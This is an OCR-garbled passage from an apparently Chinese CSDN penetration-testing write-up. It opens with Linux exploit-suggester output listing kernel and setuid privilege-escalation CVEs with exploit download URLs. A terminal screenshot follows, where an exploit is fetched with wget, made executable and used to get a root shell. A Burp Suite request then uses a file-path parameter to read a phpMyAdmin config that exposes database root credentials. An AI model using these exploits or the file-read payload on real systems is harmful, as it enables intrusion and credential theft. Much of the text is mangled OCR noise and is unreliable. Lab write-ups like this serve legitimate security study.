Comments: Requires Kernel be built with CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass

CVE-2017-5618] setuid screen v4.5.0 LPE

Details: https://seclists.org/oss-sec/2017/q1/184
Exposure: less probable
Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154

CVE-2017-1000370,CVE-2017-1000371] linux_offset2lib

Details: https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt
Exposure: less probable

Download URL: https://www.qualys.com/2017/06/19/stack-clash/linux_offset2lib.c
Comments: Uses "Stack Clash" technique

CVE-2017-1000366,CVE-2017-1000371] linux_ldso_dynamic

Details: https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt

Exposure: less probable

Tags: =9|10,ubuntu=14.04.5|16.04.2|17.04,fedora=23|24|25

Download URL: https://www.qualys.com/2017/06/19/stack-clash/linux_ldso_dynamic.c
Comments: Uses "Stack Clash" technique, works against most SUID-root PIEs

CVE-2017-1000366,CVE-2017-1000370] linux_ldso_hwcap

Details: https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt

Fynnciire* lecc nrnhahle



nly

+
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Download URL: https://www.qualys.com/2017/06/19/stack-clash/linux_ldso_hwcap.c
Comments: Uses "Stack Clash" technique, works against most SUID-root binaries

CVE-2016-9793] SO_{SND|RCV}BUFFORCE

Details: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793

Exposure: less probable

Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-9793/poc.c

Comments: CAP_NET_ADMIN caps OR =y needed. No SMEP/SMAP/KASLR bypass included. Tested in QEMU o

CVE-2016-6663,CVE-2016-6664 | CVE-2016-6662] mysql-exploit-chain

Details: https://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
Exposure: less probable

Tags: =16.04.1

Download URL: http://legalhackers.com/exploits/CVE-2016-6663/mysql-privesc-race.c

Comments: Also MariaDB ver<10.1.18 and ver<10.0.28 affected

CVE-2016-2384] usb-midi

Details: https://xairy.github.io/blog/2016/cve-2016-2384

Exposure: less probable

Tags: =14.04,fedora=22

Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-2384/poc.c

Comments: Requires ability to plug in a malicious USB device and to execute a malicious binary as a non-privi

leged user

+

CVE-2015-8660] overlayfs (ovl_setattr

Details: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/
Exposure: less probable

Tags: =(14.04|15.10){kernel:4.2.0-(18|19|20|21|22)-generic

Download URL: https://www.exploit-db.com/download/39166

CVE-2015-8660 | overlayfs (ovl_setattr

Details: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/
Exposure: less probable
Download URL: https://www.exploit-db.com/download/39230

CVE-2014-5207] fuse_suid

Details: https://www.exploit-db.com/exploits/34923/
Exposure: less probable
Download URL: https://www.exploit-db.com/download/34923

CVE-2014-5119] _ gconv_translit_find

Details: http://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html

Exposure: less probable

Tags: =6

Download URL: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/34421

.tar.gz

+

CVE-2014-0196] rawmodePTY

Details: http://blog.includesecurity.com/2014/06/exploit-walkthrough-cve-2014-0196-pty-kernel-race-condition.

html



Exposure: less probable
Download URL: https://www.exploit-db.com/download/33516

+] [CVE-2012-0809]| death_star (sudo

Details: http://seclists.org/fulldisclosure/2012/Jan/att-590/advisory_sudo.txt
Exposure: less probable

Tags: =16

Download URL: https://www.exploit-db.com/download/18436

+] [CVE-2016-0728] keyring

Details: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-
2016-0728/

Exposure: less probable

Download URL: https://www.exploit-db.com/download/40003

Comments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cv
e-2016-0728-poc-not-working

Zikdirtycow TBiE AR T, B 5 3 I [CVE-2015-1328] overlayfs B Zh 4L

https://www.exploit-db.com/download/37292

RAEEIT

root@kali: ~

File Actions Edit View Help

indishel uploaded_images$ wget http

sponse ... 200 0K

81-21 13:57:45 (1.37 GB/s) ’ 2. saved [5119/5119]
r/wwmi/uploaded_images$ gc
i/uploaded_images$ chmod +x
i/uploaded_images$
mount

mount
child threads done

z can't acce ty; job control turned off
# whoami
root

# [

edwand

0x05 #h 78



AR B, 7] LAR$E phpmyadminZRiAES B 32 f:config.inc.php, BRINE&4E/varwww/phpmy T . i i BUi% 1 3K15
rootllk F F2E RS, MiisshE BEIREroott FR, BhAabn] g8 H B AR, HILBHNZE%5H.

Burp Suite Community Editionv2021.8.2 - Temporary Project

Burp  Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn
2 % 3 =
=R o
: e Q== |
Request Response

Pretty m Hex \n Pretty m Hex Render n = R

1 POST /test.php HTTP/1.1 9 Cache-Control: must-revalidate, post-check=0, pre-check=0
2 Host: 10.0.2.15 10 Pragma: public G
3 User-Agent: Mozillas5.0 (X11: Linux x86_84; rv:78.0) Gecko/20100101 11 Content-Disposition: attachment:; filename="config.inc.php”
Firefox/78.0 12 Content-Length: 896 B
4 Accept: 13 Connection: close
text/html, application/xhtml+xnl, application/xml; q=0.9,image webp,*/*;q=0.8 14 Content-Type: application/octet-stream
S Accept-Language: en-US,en;g=0.5 15 k
6 Accept-Encoding: gzip, deflate 16 <?php
7 Connection: close 17 R
8 Cookie: PHPSESSID=SvmGe&lim76h0terSom7qlrike 18 /% Servers configuration */
9 Upgrade-Insecure-Requests: 1 19 $1 = 0: R
10 Content-Type: applications/x-www-form-urlencoded 20
11 Content-Length: 34 21 /* Server: localhost [1] */
12 22 $it+;
3 file=/var/www/phpny/config.inc.phpll 23 gcfgl'Servers'1[$i] ['verbose'] = 'localhost';
24 gcfgl'Servers'][$i]['host'] = 'localhost';
25 gcfgl'Servers'][$1] ['port'] = "'
26 gcfgl ' Servers'1[$i]['socket'] = '
7 $cfgl Servers'1[$1][ connect_type']l = "tcp':
$cfgl'Servers' ] [$1] ['extension’] = "mysqli’;
$cfgl'Servers'] [$1] ['auth_type']l = 'cookie’;
$cfgl'Servers' 1 [$i]['user'] = 'root';
$cfgl'Servers' ] [$i]['password'] = 'roottoor'; \
$cfgl ' Servers' 1 [$1i] ['AllowNoPassword'] = true; -

/% BEnd of servers configuration */

$cfgl 'DefaultLang'] = 'en-utf-8';
$cfgl ' ServerDefault'] = 1;

$cfgl 'Uploadbir'] = '';
$cfgl ' SaveDir'] = '';

/% rajk - for blobstreaming */

3 gcfgl ' Servers'][$1]['bs_garbage_threshold'] = 50;

$cfgl'Servers'][$1]['bs_repository_threshold'] = '32M';

5 gcfgl'Servers'1[$1i]['bs_temp_blob_timeout'l = 600;
gcfgl ' Servers'1[$i]['bs_temp_log_threshold'] = '32M';

9 P

50
@& <)o 0 matches (D483 [¢[2]]

Done CSDN @redwand

| 0 matches
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